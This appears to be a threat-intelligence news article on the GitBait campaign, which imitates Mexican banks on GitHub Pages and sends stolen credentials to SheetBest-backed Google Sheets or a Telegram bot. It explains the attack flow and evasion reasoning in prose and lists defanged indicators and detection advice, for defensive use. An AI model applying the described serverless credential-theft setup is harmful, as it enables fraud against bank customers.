GitBait Phishing Campaign Abuses GitHub Pages to Target Mexican Banks

A long-running phishing campaign called GitBait has been targeting customers of financial institutions in Mexico by hosting fake banking pages on GitHub Pages and stealing credentials through a serverless exfiltration setup.

According to Group-IB, the campaign has been active for about three years and targets at least 12 financial institutions operating in Mexico. The operation uses GitHub Pages for hosting and SheetBest API endpoints to send stolen data into attacker-controlled Google Sheets.

The campaign collects usernames, customer IDs, passwords, and payment card details through fake banking portals that imitate real login flows. Researchers said the infrastructure is modular, which allows the attackers to reuse the same kit across multiple banks and quickly rotate phishing pages.

GitBait Uses Trusted Hosting to Hide Phishing Pages

GitHub Pages lets users publish websites from GitHub repositories, either on github.io domains or custom domains. The official GitHub Pages documentation describes it as a static site hosting service for projects, portfolios, documentation, and other web content.

That same convenience also makes GitHub Pages attractive to phishing operators. A fake bank portal hosted on a github.io subdomain may look less suspicious to users and may avoid some basic domain blocklists that focus on newly registered malicious domains.

GitHub Pages sites also support HTTPS. GitHub’s HTTPS guidance says all GitHub Pages sites support HTTPS and HTTPS enforcement, while github.io sites created after June 15, 2016 are served over HTTPS automatically.

Campaign element	How GitBait uses it
GitHub Pages	Hosts fake banking landing pages on trusted github.io infrastructure
SheetBest API	Receives stolen credentials through POST requests and stores them in Google Sheets
Obfuscated JavaScript	Captures form submissions and hides malicious logic from simple static analysis
Telegram bot	Used in at least one observed case as an alternate real-time exfiltration channel
Open Graph metadata	Makes phishing links look more convincing when shared through messaging apps

The Campaign Has Run for Years

Group-IB said historical tracking shows the GitBait infrastructure, or variants of it, has operated for more than three years. The campaign uses many independent GitHub Pages repositories instead of relying on one domain.

Each repository can host duplicated phishing content under paths such as /cancelacion, /soporte, /mb1, and /st1. These paths imitate customer support, cancellation, or banking service workflows, which makes the lure more believable to victims.

The public GitBait report says researchers found more than 100 domains tied to the campaign. Several repositories also showed signs of active maintenance, including dozens of commits and multiple operator accounts.

• The campaign targets financial institutions operating in Mexico.
• The phishing kit supports multiple bank templates from one reusable infrastructure.
• Victims are likely reached through direct links in SMS, messaging apps, email, or social media.
• Phishing pages are designed for both desktop and mobile devices.
• GitHub Pages takedowns can be harder because operators can redeploy cloned pages quickly.

How GitBait Steals Banking Credentials

The attack begins when a victim opens a direct phishing link. The page usually appears to be a banking support page, cancellation portal, or login page for a trusted financial institution.

After the landing page builds trust, the victim is sent to a credential collection form. The form may ask for a username, password, customer number, card details, or other banking information through a multi-stage flow that resembles a real online banking session.

Client-side JavaScript intercepts the form submission before the browser completes any normal action. The script then serializes the stolen values into JSON and sends them to a SheetBest endpoint through an HTTP POST request.

1. The victim receives a direct phishing link through a messaging or communication channel.
2. The link opens a GitHub Pages-hosted site impersonating a financial institution.
3. The page displays bank branding, support wording, or cancellation-related prompts.
4. The victim enters login or card details into the fake form.
5. JavaScript intercepts the form submission.
6. The stolen data is sent to an external API endpoint.
7. The victim may see a fake verification page to delay suspicion.

SheetBest Gives Attackers a Serverless Backend

SheetBest is a legitimate service that turns Google Sheets into REST APIs. The official SheetBest website advertises a no-code backend that can create API endpoints from spreadsheet data.

GitBait operators abuse that model by sending stolen credentials to SheetBest API endpoints rather than maintaining their own command-and-control server. This reduces infrastructure costs and makes the campaign harder to trace through conventional backend hosting records.

This approach also lets stolen data arrive in attacker-controlled Google Sheets in real time. In at least one observed case, the campaign used a Telegram bot instead, with the bot token and chat ID embedded directly in the phishing page’s JavaScript.

Traditional phishing backend	GitBait serverless model
Requires attacker-controlled hosting	Uses GitHub Pages and third-party API services
Backend server can be seized or blocked	Exfiltration blends into legitimate cloud service traffic
Infrastructure is easier to attribute	Operators can rotate repositories and API endpoints
Detection often focuses on malicious domains	Detection must inspect behavior and form submission patterns

Why GitHub Pages Abuse Is Hard to Block

Security teams cannot simply block all GitHub Pages traffic in many organizations because GitHub is widely used by developers, vendors, open-source projects, and documentation sites.

A Cofense report warned that attackers increasingly abuse GitHub and GitLab because these platforms are trusted by enterprises and cannot be fully blocked without disrupting normal business workflows.

The same issue applies to GitBait. A github.io page can host a legitimate project, a developer portfolio, or a phishing portal. That means defenders need to look at page behavior, brand impersonation patterns, suspicious paths, and outbound exfiltration rather than trusting the parent domain alone.

Financial Institutions Should Monitor Brand Abuse

Group-IB reported the identified phishing pages and domains to GitHub. However, financial institutions should not wait for outside researchers to find impersonation pages first.

Banks should monitor GitHub Pages for naming patterns that combine their brand with words such as soporte, cancelacion, respaldo, atencion, secure, portal, login, or document. They should also monitor common phishing paths, including /cancelacion and /soporte.

The Cofense analysis also noted that malicious github.io pages often deliver credential phishing and may use embedded redirects or obfuscation. That reinforces the need for behavioral detection rather than simple allowlists.

• Monitor github.io subdomains that combine brand names with support or cancellation terms.
• Alert on unexpected POST requests to api.sheetbest.com from customer-facing web sessions.
• Track phishing pages that use Open Graph metadata to impersonate bank portals in messaging apps.
• Report confirmed phishing repositories through GitHub’s abuse process.
• Use real-time transaction alerts and step-up authentication to limit damage from stolen credentials.
• Share indicators with CERTs, regulators, peer banks, and fraud-response partners.

Consumers Should Treat GitHub-Hosted Banking Pages as Suspicious

Consumers should not enter banking credentials or card details into a page hosted on github.io. A real bank should use its official domain or app for account access, customer support, and payment card workflows.

Users who entered details on a suspicious page should change their banking password, contact the bank immediately, enable multi-factor authentication if available, and request a card block or replacement if card data was submitted.

GitHub’s Pages service remains a legitimate web hosting feature, and GitHub’s HTTPS support helps secure normal sites. GitBait shows that HTTPS and a familiar hosting platform do not prove that a banking page is legitimate.

Indicators Linked to GitBait

Security teams should treat the following indicators as examples from the campaign and combine them with behavior-based detection. Domains can change quickly, while the tactics of GitHub Pages hosting, SheetBest exfiltration, and fake banking forms remain more durable.

Type	Indicator	Description
Domain	soporte-index25.github[.]io	GitHub Pages phishing domain
Domain	soporte-index09.github[.]io	GitHub Pages phishing domain
Domain	sntdr-soporte25.github[.]io	GitHub Pages phishing domain
Domain	07-soporte.github[.]io	GitHub Pages phishing domain
Domain	soporte2507.github[.]io	GitHub Pages phishing domain
Domain	api.sheetbest[.]com	API service abused for credential exfiltration
Remote address	159.89.254[.]93	Observed SheetBest API infrastructure in Group-IB analysis
Path	/cancelacion	Common phishing entry path
Path	/soporte	Common phishing entry path

GitBait shows how phishing operations can scale without malware, custom hosting, or obvious attacker infrastructure. By combining GitHub Pages, SheetBest, obfuscated JavaScript, and bank-specific templates, the operators built a low-cost system for persistent credential theft.

The SheetBest API model is legitimate, but GitBait demonstrates how ordinary cloud and developer services can become useful to criminals when defenders focus only on known malicious domains. Financial institutions should monitor brand impersonation continuously and treat unusual form submissions to third-party APIs as a high-priority signal.

FAQ